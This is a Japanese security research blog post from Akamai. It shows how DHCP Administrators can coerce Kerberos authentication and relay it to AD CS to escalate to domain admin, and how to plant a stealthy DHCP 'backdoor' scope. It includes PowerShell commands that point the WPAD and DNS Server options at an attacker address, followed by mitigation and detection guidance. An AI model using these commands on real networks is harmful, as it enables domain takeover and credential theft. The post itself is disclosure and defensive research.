DHCP Administratorsグループを悪用したWindowsドメインでの権限昇格
論説・協力：Tricia Howard
エグゼクティブサマリー
Akamaiの研究者たちは、Active Directory（AD）環境に影響を与える、DHCP Administratorsグループを利用した新しい権限昇格手法を発見しました。
DHCPサーバーロールがドメインコントローラー（DC）にインストールされている場合、ドメイン管理者権限を取得できる可能性があります。
この手法は、正当な機能の悪用に基づいており、いかなる脆弱性にも依存しません。そのため、これに対する修正は存在しません。
権限昇格プリミティブを提供するだけでなく、ステルスドメイン永続化メカニズムを作成するためにも同じ手法を使用できます。
Microsoft DHCPサーバーは広く使用されており、Akamaiの監視対象ネットワークの40%で実行されていることが確認されました。このサーバーを実行している環境は、脆弱である可能性があります。
この記事では、この手法によってもたらされるリスクを大幅に軽減し、悪用の可能性を特定し、悪用を可能にする構成を特定するための詳細な手順を説明します。
はじめに
Google DocsからActive Directoryまで、アクセス管理は組織内のすべての役割に影響を及ぼします。権限とアクセス制御を決定する際には、不要なリスクを増やさずに従業員の不満を最小限に抑えるという絶妙なバランスが求められます。セキュリティチームはこの苦しい状況を痛いほど認識しています。
そのため、「必要なアクセス」を正確に見極めることがあらゆるアクセス戦略の重要な要素となっています。つまり、職務を遂行するために必要な一連の権限を各ユーザーに付与する必要がありますが、それ以外の点では可能な限り制限する必要があるということです。これにより、1人のユーザーが侵害された場合の影響が軽減され、ラテラルムーブメント（横方向の移動）やさらなる悪用が防止されます。
ほとんどのリスクは排除されますが、特にエンタープライズレベルでは、アイデンティティごとのアクセス管理は現実的ではなく、実現可能ではありません。それに対して、ユーザー・アクセス・グループは職能に基づいて権限を一般化します。これは、ADで最もよく見られる概念です。たとえば、MicrosoftはDNSサーバーの管理を担当するADグループである「DNS Admins」グループを提供します。「必要なアクセスのみ」の原則に従い、そのメンバーにはDNSサーバーをホストするマシンに対する権限はなく、DNSサービス関連の設定に対する権限のみがあります。
これは理論的には機能しますが、実際には話が違ってきます。Shay Ber氏の2017年の調査では、「DNS Admins」グループのメンバーがグループの権限の1つを悪用してDNSサーバー上でコードを実行できることが明らかにされており、これはほぼ必ずドメイン管理者への権限昇格につながります。
Microsoft DHCPには、「DHCP Administrators」（DHCP管理者）と呼ばれる同様のセキュリティグループが用意されています。Microsoft DHCPに関するAkamaiの最近の調査の過程で、このグループを使用する同様のプリミティブを見つけることに関する問題が浮上しました。それは、DHCP管理者はドメイン管理者になることができるのかということです。結論としては、確かに可能である場合があります。🥴
このブログ記事では、DHCP Administratorsグループについて説明し、その権限の1つがDHCPサーバーを侵害するためにどのように悪用される可能性があるかを示します。これには、DHCPサーバーがDCにインストールされている場合の完全なドメインの乗っ取りが含まれます。
また、これと同じ手法を使用して興味深いドメイン永続化メカニズムを確立する方法と、「DHCPバックドア」を設置する方法の詳細を説明します。
この手法では、DHCP管理者が使用できる正当な権限とオプションが使用されるため、脆弱性が存在せず、したがってパッチのようなシンプルな解決策はありません。この手法によってもたらされるリスクを軽減するために、このブログ記事には詳細な緩和策と検知手順を記載します。
DHCP管理者とは
DHCP administratorsグループは、Dynamic Host Configuration Protocol（DHCP）サーバーを管理するという目的を持つユーザーのADグループです。グループのメンバーはリモートサーバー上のDHCPサービスの設定をクエリーおよび変更することができます。
重要なのは、メンバーにはDHCPサーバーマシン自体に対する権限はなく、DHCPサービスの設定に対する権限のみがあるということです。つまり、DHCP管理者はDHCPサーバー上でコードを実行できず、DHCP関連の設定を変更できるだけです。DHCP管理者が制御する設定の1つがDHCPオプションです。
DHCPオプションの悪用
ネットワーククライアントは、ネットワークに参加するために、IPアドレスとサブネットマスク、デフォルト・ゲートウェイ・アドレス、DNSサーバーなどの一連の設定を必要とします。DHCPサーバーは、これらの設定をDHCPオプションの形式でクライアントにアドバタイズします。さまざまな設定が、定義されたオプションIDと結合され、クライアントによって照会されます（図1）。
図 1：DHCP サーバーに設定されている DHCP オプションの例
DHCPクライアントは必要なオプションを要求し、応答に従ってネットワーク設定を変更します。サーバー上でこれらのオプションの値を制御できるため、クライアントから要求された各オプションが攻撃者によって悪用され、悪性の設定が挿入される可能性があります。
Windowsクライアントの潜在的なアタックサーフェスを把握するためには、デフォルトで要求されるオプションを確認します（図2）。
図 2：DHCP サーバーに設定されている DHCP オプション
Proxy autodiscovery
図2の青でハイライトされた部分を見ると、要求される設定の1つは「Proxy autodiscovery」オプションであることがわかります。これは、Webプロキシ（WPAD）を自動的に設定するために使用されます。このオプションにより、DHCPサーバーは「wpad.dat」ファイルのURLを指定できます。このファイルには、クライアントが使用するプロキシ設定が含まれています。
以下のPowerShellコマンドを実行することにより、このオプションを設定し、アドレスをプロキシとして指定できます。
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
このオプションの設定後、DHCPサーバーからアドレスをリースする際にWindowsクライアントが設定を受信します（図3）。
図 3：サーバーからプロキシ設定を受信する DHCP クライアント
この設定の受信後、DHCPクライアントはHTTP経由でマシンに接続し、「wpad.dat」ファイルを取得しようとします（図4）。
図 4：攻撃者のマシンから「wpad.dat」ファイルを要求する DHCP クライアント
WPADサーバーになりすますことができれば、複数の攻撃によってクライアントの認証情報を侵害できる可能性が生まれます。
同様の結果を得るためにターゲットにできるDHCPオプションが他にもあります。この機能は仕様上のものであり、セキュリティ上の問題ではありません。DHCP管理者は、その名のとおり、DHCPを管理することができます。しかし、この管理能力の影響は予想よりも広範に及ぶ場合があります。
DHCP DNS Serverオプション
悪用される可能性のあるさまざまなDHCPオプションを分析していたところ、別のオプションが目に留まりました。それは、DNS Serverオプションです。上述の攻撃と同様に、DHCP管理者はDNSサーバーアドレスとDNS応答をスプーフィングして、Machine-in-the-Middle（MITM）のポジションを確立できます。しかし実際のところ、このオプションはそれだけではありません。
通常、DHCPオプションは要求元のクライアントにデータを提供するために使用されます。興味深いことに、DNS Serverオプションは別の目的に使用されます。その値は、DHCP DNS動的更新の宛先として使用されるのです（図5）。
図 5：DNS Server オプションによる DHCP DNS 動的更新プロセスへの影響
なぜこれが興味深いのでしょうか？Microsoft DNSサーバーとWindows DNSクライアントは、安全な動的更新という動的更新機能をサポートしています。この機能が有効になっている場合（デフォルトで有効）、サーバーでDNS更新を実行する前にDNSクライアントを認証する必要があります。この認証は、DNS経由でKerberosを使用して実行されます。
DHCP管理者アカウントを使用すると、DHCPサーバー上でDNS Serverオプションを制御し、選択したアドレスに対して認証を行うことができます。図6の手順は、これがどのように行われるかを示しています。
図 6：DHCP リースによるサーバーの Kerberos 経由でのクライアント認証
ターゲットDHCPサーバー上で、IPアドレス（172.25.14.19）をDNS Serverオプションとして設定します。
自分のマシンから、FQDNオプションを指定しながらIPアドレスをリースします。この例では、FQDN「aaa.aka.test」を指定します。これにより、DHCP DNS動的更新がトリガーされます。
自分のマシンがDNSサーバーと見なされ、DHCPサーバーからDNS「Start of Authority」（SOA）クエリーが送信されます。このクエリーにより、DHCPサーバーは「aaa.aka.test」の権威サーバーであるDNSサーバーを特定します。
DHCPサーバーから届いたSOAクエリーに応答し、自分のマシンをレコード「aaa.aka.test」の権威DNSサーバーとして指定します。
DHCPサーバーからDNS動的更新が送信され、レコードの作成が試みられます。この更新の試みは認証されません。
この認証されない更新を拒否することで、サーバーによる認証の試行をトリガーします。
DHCPサーバーにより、TKEYクエリーを送信することによって実行されるDNS経由のKerberos認証が行われ、自分のマシンが認証されます。
図7はこの手法の実例のキャプチャです。
図 7：DHCP リースとそれに続く DNS トラフィックのパケットキャプチャ
私たちはこの手法をDHCP強制と呼んでおり、これによって任意のDHCPサーバーに自分のマシンを認証されることができるため、Kerberos認証強制プリミティブを獲得できます。
DHCPセキュリティに関する疑問を抱えていませんか？
DHCP強制によるKerberosリレー
DHCP強制により、Kerberosリレー攻撃の機会が生まれます。攻撃者は自身のマシンに対する認証を強制して、リレー攻撃を実行し、DHCPサーバー・マシン・アカウントになりすますことができます。これにより、DHCP Administratorsグループに含まれる権限に制限されることなく、サーバー自体を完全に制御できます。
Kerberosリレーのターゲットは多少制限されますが、Dirk Jan氏のブログ記事で説明されているとおり、Kerberosリレーを使用してActive Directory証明書サービス（AD CS）をターゲットにすることができます。
AD CSは、Active Directory環境にPKIソリューションを提供する一連のサービスです。ADとの関連において、このPKIの主な使用目的は、証明書ベースの認証を有効にすることです。AD CSを使用することで、ユーザーは自身に証明書を発行し、ドメイン内のリソースに対する認証に使用できます。
この証明書の発行方法の1つが、Web登録サービス（クライアントが証明書を要求するために使用できるWebサービス）です。デフォルトでは、このサービスはメッセージの完全性を検証しないため、Kerberosリレー攻撃に対して脆弱です。この問題はESC8と呼ばれており、SpectterOpsのWill Schroeder氏とLee Christensen氏が実施したAD CSに関する調査で言及されています。
ESC8と強制プリミティブを組み合わせることで、DHCPサーバーの侵害を可能にする攻撃チェーン（図8）を作成できます。
図 8：DHCP 強制の攻撃チェーン全体
前のセクションで説明したように、DHCP Administratorを使用して、攻撃者のマシンへのKerberos認証を強制します。
Krbrelayx.pyを使用してAD CSに対する認証をリレーし、DHCPサーバー・マシン・アカウントの証明書を取得します。
この証明書を使用して、DHCPサーバー・マシン・アカウントのNTLMハッシュを取得します。これは、SpecterOpsの調査結果でTHEFT5と呼ばれている手法です。
NTLMハッシュを使用して、DHCPサーバー・マシン・アカウントとして認証し、コードを実行します。
手順2～4の詳細については、Dirk Jan氏のブログ記事「Relaying Kerberos over DNS using krbrelayx and mitm6」（krbrelayxとmitm6を使用したDNS経由のKerberosリレー）を参照してください。
要約すると、環境でAD CSが使用されている場合、DHCP管理者アカウントは任意のDHCPサーバーでコードを実行できます。これは問題です。
DHCPサーバーはDCにインストールされることが非常に多く、Microsoft DHCPサーバーを使用していることが確認されているネットワークのうち、57%がDCにDHCPサーバーをインストールしています。このような場合、DCマシンアカウントを乗っ取ることにより、DHCP管理者はドメイン全体を侵害できます。
DNS認証情報に関する注意事項
前述の攻撃では、DNS更新を実行する際にDHCPサーバーが自身のマシンアカウントを使用して認証を行います。Microsoftが推奨するベストプラクティスの1つは、弱いユーザーをDHCPサーバーのDNS認証情報として設定し、マシンアカウントの代わりにこの認証情報を使用して更新を実行することです。
この設定により、リレー攻撃を無効化できる可能性があります。サーバーのマシンアカウントを侵害するのではなく、弱いユーザーの権限を取得することになります。
幸いにも、私たちはDHCP管理者です。DHCP管理者は、認証情報自体を知らなくても、既存のDNS認証情報を削除できます。これを行うためには、Remove-DhcpServerDnsCredential PowerShellコマンドを使用します。DNS認証情報の削除後、DHCPサーバーはデフォルトに戻り、マシンアカウントを使用して更新を行います。
DHCPドメインの永続化
DHCP Administratorsグループを悪用してDHCPサーバー上でコードを実行するだけでなく、上述の手法を武器にして、興味深いドメイン永続化メカニズムを作成することもできます。
一度DNSサーバーオプションを設定すれば、認証を強制するために認証情報は必要なくなります。攻撃者はDHCPサーバーからIPアドレスをリースするだけで済みます。これにより、攻撃者はドメインの外部から認証情報なしでDHCP強制攻撃を実行できるようになります。
DHCPバックドアスコープ
DHCPスコープとは、DHCPがリースできる特定のサブネット内の定義済みのIPアドレスのセットです。DHCPオプションはスコープごとに設定できるため、さまざまなサブネットに対して異なる設定を行うことができます。
DHCP強制を実行するためには、攻撃者はいずれかのDHCPスコープでDNS Serverオプションを変更する必要があります。当然、これに既存のスコープを使用したくはありません。既存のスコープのDNS Serverオプションを変更すると、この設定がDHCPクライアントに渡されて、通信の問題が発生し、バックドアが検知される可能性があります。
そうではなく、ネットワークのどのサブネットでも使用されていないアドレス範囲を使用して、専用のスコープを作成します（図9）。
図 9：「バックドア」DHCP スコープの作成
しかし、DHCPサーバーのスコープ選択ロジックに基づくこのアプローチには問題があります。クライアントがIPアドレスをリースする際、サーバーはクライアントの送信元サブネットに基づいて使用するDHCPスコープを決定します。このサブネットは、DHCP Discoverメッセージを受信したネットワークインターフェースによって識別されます（図10）。
図 10：ネットワークインターフェースに基づく DHCP スコープ選択
バックドアをトリガーするためには、悪性のスコープからIPアドレスをリースする必要があります。これを行うためには、攻撃者はこのスコープにリンクされているサブネットに存在する必要があります。同時に、クライアントの接続が切断されるのを避けるために、スコープがネットワーク内の既存のサブネットにリンクされないようにします。しかし、これら2つの要件は相反しています。スコープが既存のサブネットにリンクされていない場合、攻撃者はそのサブネットに到達できません。スコープが既存のサブネットにリンクされている場合は、他のクライアントからも到達できます。幸いにも、DHCPリレーエージェントが救いの手を差し伸べてくれます。
DHCPリレーエージェント
この問題の解決策は、DHCPリレーエージェント機能にあります。DHCPリレーエージェントは、クライアントがローカルネットワークに存在しない場合でも、DHCPサーバーからIPアドレスをリースできるようにするためのサーバーです（図11）。
図 11：リレーエージェントを利用した DHCP リースプロセス
リレーエージェントは、クライアントからのDHCPブロードキャストメッセージをリッスンし、クライアントの代わりにDHCPサーバーにリレーします。DHCPリレーエージェントは、Relay Agent Information DHCPオプションを介してクライアントの送信元サブネットをDHCPサーバーに通知することにより、IPアドレスをリースする際に使用する正しいスコープをサーバーが判断できるようにします。
この機能により、DHCPサーバーのインターフェースに関係なく、DHCPリレーエージェントが任意のスコープからIPアドレスを要求できるようになることがわかりました。攻撃者はリレーエージェントとしてRelay Agent Informationオプションで任意のサブネットを示すことで、任意のスコープからIPアドレスをリースすることができます（図12）。
図 12：DHCP リレーエージェントとして機能することによる指定スコープからの IP アドレスのリース
最後に考慮すべき注意点が1つあります。それは、リレーサーバー自体のIPアドレスはサーバー上の既存のスコープの一部でなければならないということです。これは、不正なクライアントがサーバーにアクセスできないようにするためです。これを克服するためには、Microsoftの推奨に従い、外部IPアドレスを含む専用のスコープを作成して、リレーとして機能することを不正に「許可」します。
DHCPリレー・エージェント・オプションの悪用
潜在的なバックドア（図13）は、次の2つのスコープで構成されます。
認可スコープ。攻撃マシンがDHCPリレーエージェントとして機能することを許可するためのスコープ。そのIP範囲には外部攻撃マシンのIPアドレスが含まれます。
- 強制スコープ。IPアドレスをリースするために使用されるスコープであり、攻撃マシンに対するKerberos認証試行をトリガーします。DNS Serverオプションは外部攻撃マシンのIPで設定され、そのIP範囲はネットワークで使用されない任意の範囲にすることができます。
図 13：DHCP バックドアの設計
以下のPowerShellコードは、これらのスコープを作成する方法を示しています。
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
バックドアをトリガーするためには、DHCPサーバーからアドレスをリースし、次の調整を行います。
リレーエージェントのIPアドレス（giaddr）DHCPフィールド内のIPアドレスを使用します。このフィールドは、DHCPサーバーにリレーエージェントのIPアドレスを通知するために使用されます。このIPは「認可スコープ」内にある必要があります。
「強制スコープ」内にIPアドレスを持つRelay Agent Informationオプションを含めます。
図14では、認可スコープにIPアドレス172.25.14.18が含まれています。また、強制スコープには、アドレス66.66.66.66が含まれています。
図 14：リレーエージェントとして機能しているときの DHCP Discover 調整
私たちはDDSpoof（DHCP DNSスプーフィングツールキット）にリレー・エージェント・サポートを追加し、この攻撃を実行できるようにするdhcp_coerce.pyという概念実証スクリプトを作成しました。このスクリプトはDHCPリレーエージェントとして機能して、要求されたスコープからIPアドレスを要求し、強制スコープを通じて認証強制をトリガーできるようにします（図15）。
図 15：DDSpoof を利用した DHCP バックドアのトリガー
緩和策
この脅威に対する防御策として、次のものが挙げられます。
危険なDHCP設定の特定
AD CSに対するリレー攻撃の緩和
DHCP Administratorsグループの衛生管理の実行
セグメンテーションによるアタックサーフェスの削減
DNSの異常の特定
危険なDHCP設定の特定
Invoke-DHCPCheckup.ps1は、危険なDHCP設定を特定するのに役立ちます。DHCP強制攻撃チェーンに関する最も重大なリスクは、DCにDHCPサーバーをインストールすることであり、この設定は回避することが推奨されます。
Invoke-DHCPCheckupを実行して、アクティブなMicrosoft DHCPサーバーをすべてリストアップし、DCにインストールされているサーバーを特定します（図16）。可能であれば、すべてのDCでDHCPサーバーサービスを無効にします。
図 16：Invoke-DHCPCheckup による DC にインストールされている DHCP サーバーの特定
AD CSに対するリレー攻撃の緩和
この攻撃チェーンを防ぐ最も効果的な方法は、AD CSサーバーに対するリレー攻撃を緩和することです。そうすることにより、認証強制プリミティブを悪用する能力を低下させます。
リレー攻撃やそのバリエーションであるAD CSに対するリレー攻撃のリスクは新たに発生したものではなく、Microsoftにも知られています。認証の拡張保護（EPA）はそのような攻撃を防ぐために導入された機能ですが、デフォルトではAD CSに対して有効になっていません。AD CSへのリレー攻撃のリスクを緩和するためには、HTTPを無効にして、すべてのAD CSサーバーでEPA機能を有効にします。
DHCP Administratorsグループの衛生管理の実行
DHCP AdministratorsグループのメンバーはDHCPクライアントおよびサーバーを侵害する可能性があるため、このグループは高価値資産として扱い、それに応じて監視する必要があります。DHCP Administratorsグループのメンバーシップを可能な限り制限して、管理者ユーザーによる侵害のリスクを軽減します。場合によっては、より限定的なDHCPユーザーグループを使用することを検討します。
セグメンテーションによるアタックサーフェスの削減
これまでに紹介した防御策に加えて、ネットワークセグメンテーションを使用することで、攻撃を緩和し、アタックサーフェスを減らし、同様の攻撃を受ける可能性を抑えることができます。
Akamai Guardicore Segmentationを使用することで、防御者は次のことを行えます。
管理者以外のエンドポイントからDHCPサーバーへのRPCトラフィックをブロックし、DHCPオプションを変更できないようにします。DHCP管理者が使用するエンドポイントを含むラベルを作成し、このラベルだけが非DHCPポートを介してDHCPサーバーと通信できるようにします。
AD CS登録サーバーへのアクセスを必要としないエンドポイントによるAD CS登録サーバーへのアクセスをブロックすることで、リレー攻撃を実行する能力を抑制します。AD CSを使用して証明書を発行する必要のあるエンドポイントを含むラベルを作成し、このラベルだけがWeb登録サーバーと通信できるようにします。
インターネットとの間のDHCPトラフィックをブロックし、外部マシンがDHCP認証を強制できないようにします。すべてのDHCPサーバーのラベルを作成し、インターネットアドレスとのすべての通信をブロックします。
DNSの異常の特定
この攻撃は、DHCPサーバーに標準のAD DNSサーバーとは異なるアドレスへのDNS更新要求の送信を強制することによって行われます。通常、このタイプのトラフィックは静的であるため、このふるまいは極めて異常です。この異常なトラフィックのふるまいは、この攻撃やDNS経由のKerberos認証を悪用するその他の攻撃を検知する機会となります。
このような異常を特定するためには、ADにクエリーを行うかDNSトラフィックを監視するかのいずれかによって、DNS更新を受信する必要のある正当なDNSサーバーのリストを作成します。このリストに含めるDNSサーバーは最小限に抑え、正当なトラフィックのベースラインとして使用します。このリストに含まれていないDNSサーバーについては、特にインターネットアドレスが含まれている場合、調査する必要があります。
Akamai Hunt（Akamaiのマネージド型脅威ハンティングサービス）は、さまざまな異常検知の手法で環境を常に監視して未知の脅威の検知を試みるという形で、お客様を保護します。
結論
悪性の権限昇格は、特に正当なプロセスを利用する場合、壊滅的な結果をもたらす可能性があります。現代のセキュリティ専門家は、ユーザーにとっての不便を最小限に抑えながら強力なセキュリティ制御を実現するという大きなジレンマを抱えています。IoT（モノのインターネット）、分散したモバイルワーカー、新旧両方の脆弱性を悪用した絶え間ない攻撃により、現在はアクセス戦略を管理することがかつてないほど重要になっています。
DHCP Administratorsグループは、この概念の顕著な例です。メンバーには一連の強力な権限が与えられますが、その権限は攻撃者に悪用される可能性もあります。特にセキュリティの観点では、良かれと思って作られた機能さえも悪用される可能性があります。
防御者はこの潜在的なリスクを認識し、適切に注意してこのグループを扱う必要があります。この記事で取り上げた背景情報やこの脅威に対する防御策がお役に立てば幸いです。
詳しく見る
Microsoft DHCPに関連するリスクについてさらに詳しい情報をお求めの場合は、このトピックに関する他のブログ記事もご参照ください。
DHCP DNS動的更新を悪用したDNSレコードのスプーフィング
Akamai Security Intelligence Groupは、この脅威やこれに類似するその他の脅威を継続的に監視し、調査結果を公開します。DHCPに関する最新情報やその他のセキュリティに関する調査結果を常に把握するためには、X（旧Twitter）でAkamaiをフォローしてください。
